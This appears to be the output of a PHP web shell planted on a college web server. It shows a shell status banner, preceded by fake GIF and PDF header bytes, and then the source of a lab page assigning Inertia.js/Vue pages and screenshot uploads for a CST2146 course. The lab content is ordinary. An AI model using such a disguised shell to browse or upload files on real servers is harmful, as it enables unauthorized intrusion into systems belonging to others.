GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab05/ |
Upload File : |
<? // MichaelMalz/CST2146/Labs/Lab03.phpinc $css .= ',colorCode.css'; #d_Var('$f_task',$f_task,'df'); #d_Var('$f_subtask',$f_subtask,'df'); // Process $f_subtask == 'Save path information' if ( $f_task == 'Submit' && $f_subtask == 'Save path information' ) { $EvaluationSubmission_PROCESS = false; require('getLabInfo.phpinc'); require('saveLabInfo.phpinc'); } require('getLabInfo.phpinc'); $checkFileUpload = false; #$showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; $uploadFilename = $classNumber.'_'.$saveFilename.'.zip'; $UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3)); $PW = $f_sId; $ShowSpanCountBefore = false; //$ShowSpanCountBefore = true; // <span class="count"> #d_Var("\$_SESSION",$_SESSION,'d+'); #d_Var("\$_SESSION['CST2146']",$_SESSION['CST2146'],'d+'); ?> <fieldset><legend>Description</legend> The purpose of this lab is to modify the create order form so it can be used to update an order as well. <br> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <ol class="count"> <li>*** Use Inertia.js and Vue.js for this lab ***</li> <li>*** Refer to this weeks video on the Customers Controller and index.vue code ***</li> <!-- 1 --> <li>Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.</li> <!-- 2 --> <li>Modify the following controllers: <ol> <li>CouponsController.php</li> <li>CustomersController.php</li> <li>ProductsController.php</li> <li>WarehousesController.php</li> </ol> </li> <!-- 3 --> <li>Foreach Controller query all records from the respective Model and send that data to vue in the inertia command. <ol> <li>CouponsController.php -> Coupons</li> <li>CustomersController.php -> Customers</li> <li>ProductsController.php -> Products</li> <li>WarehousesController.php -> Warehouses</li> </ol> </li> <!-- 4 --> <li>coupons/index.vue - columns to display <ol> <li><b>Table headers to use</b></li> <li>Coupon Code</li> <li>Coupon Type</li> <li>Coupon Value</li> <li>Take a screenshot of the page loaded in the and save it as <b class="copyText"><?=$saveFilename?>-coupons.png</b>. <br> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_Coupons.png" width="900" height="405" alt=""/> <? showEnd (); ?> </li> </ol> </li> <!-- 5 --> <li>customers/index.vue - columns to display <ol> <li><b>Table headers to use</b></li> <li>First Name</li> <li>Last Name</li> <li>Address 1</li> <li>Address 2</li> <li>City</li> <li>State</li> <li>Zip Code</li> <li>Take a screenshot of the page loaded in the and save it as <b class="copyText"><?=$saveFilename?>-customers.png</b>. <br> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_Customers.png" width="900" height="405" alt=""/> <? showEnd (); ?> </li> </ol> </li> <!-- 6 --> <li>products/index.vue - columns to display <ol> <li><b>Table headers to use</b></li> <li>Product Name</li> <li>Warehouse</li> <li>MSRP </li> <li>Invoice</li> <li>Back Ordered</li> <li>Use a conditional on the table rows for the Back Ordered column to display "Yes" or "No" <li>Take a screenshot of the page loaded in the and save it as <b class="copyText"><?=$saveFilename?>-products.png</b>. <br> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_Products.png" width="900" height="405" alt=""/> <? showEnd (); ?> </li> </ol> </li> <!-- 7 --> <li>warehouses/index.vue - columns to display <ol> <li><b>Table headers to use</b></li> <li>Name</li> <li>Status</li> <li>Use a conditional on the table rows for the Status column to display "Active" or "In-Active" <li>Take a screenshot of the page loaded in the and save it as <b class="copyText"><?=$saveFilename?>-warehouses.png</b>. <br> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_Warehouses.png" width="900" height="405" alt=""/> <? showEnd (); ?> </li> </ol> </li> <!-- 8 --> <li>Commit your changes to your github branch. <b>Make sure to click Push Origin.</b></li> <!-- 9 --> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder: <ul> <li><?=$saveFilename?>-coupons.png</li> <li><?=$saveFilename?>-customers.png</li> <li><?=$saveFilename?>-products.png</li> <li><?=$saveFilename?>-warehouses.png</li> </ul> </li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?> onclick="return checkFileUpload(this);"> for grading.</li> </ol> </li> </ol> </fieldset> <? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br> <? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>